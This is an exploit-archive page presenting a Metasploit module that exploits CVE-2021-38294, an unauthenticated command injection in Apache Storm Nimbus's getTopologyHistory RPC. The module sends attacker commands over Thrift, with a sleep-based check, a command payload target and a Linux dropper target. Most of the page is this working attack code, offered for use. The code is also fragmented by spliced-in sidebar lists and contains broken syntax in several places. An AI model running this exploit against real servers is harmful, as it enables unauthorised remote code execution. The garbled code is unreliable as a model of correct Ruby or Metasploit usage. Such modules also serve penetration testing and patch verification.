

## Apache Storm Nimbus 2.2.0 Command Execution

Authored by [Spencer McIntyre](#), [Alvaro Munoz](#) | Site [metasploit.com](#)

Posted Nov 19, 2021

This Metasploit module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm. The `getTopologyHistory` RPC method takes a single argument which is the name of a user which is concatenated into a string that is executed by `bash`. In order for the vulnerability to be exploitable, there must have been at least one topology submitted to the server. The topology may be active or inactive, but at least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm. This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 which is affected.

tags | [exploit](#), [remote](#), [code execution](#), [bash](#)

advisories | [CVE-2021-38294](#)

SHA-256 | [bdeabaf8ee1de5cc701765d5b3a2960189a0cd18ac93bcb180979bd32c8d528a](#) [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  Thrift = Rex::Proto::Thrift

  def initialize(info = {})
    super({
      update_info(
        info,
        'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability within the Nimbus service
          component of Apache Storm.
          The getTopologyHistory RPC method takes a single argument which is the name of a user which is
          concatenated into a string that is executed by bash. In order for the vulnerability to be
          exploitable, there
          must have been at least one topology submitted to the server. The topology may be active or inactive,
          but at
          least one must be present. Successful exploitation results in remote code execution as the user
          running Apache Storm.

          This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version
          2.2.0
          which is affected.
        },
        'Author' => [
          'Alvaro Munoz', # discovery and original research
          'Spencer McIntyre', # metasploit module
        ],
        'References' => [
          ['CVE', '2021-38294'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/'],
        ],
        'DisclosureDate' => '2021-10-25',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          {
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          },
          {
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          }
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 6627,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    })
  end

  def check
    begin
      connect
      rescue Rex::ConnectionError
      return CheckCode::Unknown('Failed to connect to the service.')
    end

    sleep_time = rand(5..10)
    response, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}", { disconnect: false })
    end
    recv_response(sleep_time + 5)
    end
    disconnect

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    unless response.is_elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Appears('Successfully tested command injection.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end
```

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu1security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

### File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	

### Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

```
end

def execute_command(cmd, opts = {})
  # comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid
  # caching
  cmd = "#{cmd} ##(Rex::Text.rand_text_alphanumeric(4..8))"
  vprint_status("Executing command: #{cmd}")

  send_request({
    Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'),
    Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: "#{cmd}"),
    Thrift::Data.new
  }.map(&:to_binary_s).join)
  disconnect_if opts.fetch(:disconnect, true)
end

def send_request(request)
  connect if sock.nil?
  sock.put([ request.length ].pack('N') + request)
end

def recv_response(timeout)
  remaining = timeout
  res_size, elapsed = Rex::Stopwatch.elapsed_time do
    sock.timed_read(4, remaining)
  end

  remaining -= elapsed
  return nil if res_size.nil? || res_size.length != 4 || remaining <= 0

  res = sock.timed_read(res_size.unpack1('N'), remaining)

  return nil if res.nil? || res.length != res_size.unpack1('N')

  return res_size + res
rescue Timeout::Error
  return nil
end
end
```

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (676)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

[Login](#) or [Register](#) to add favorites

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us


- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec



Follow us on Twitter



Subscribe to an RSS Feed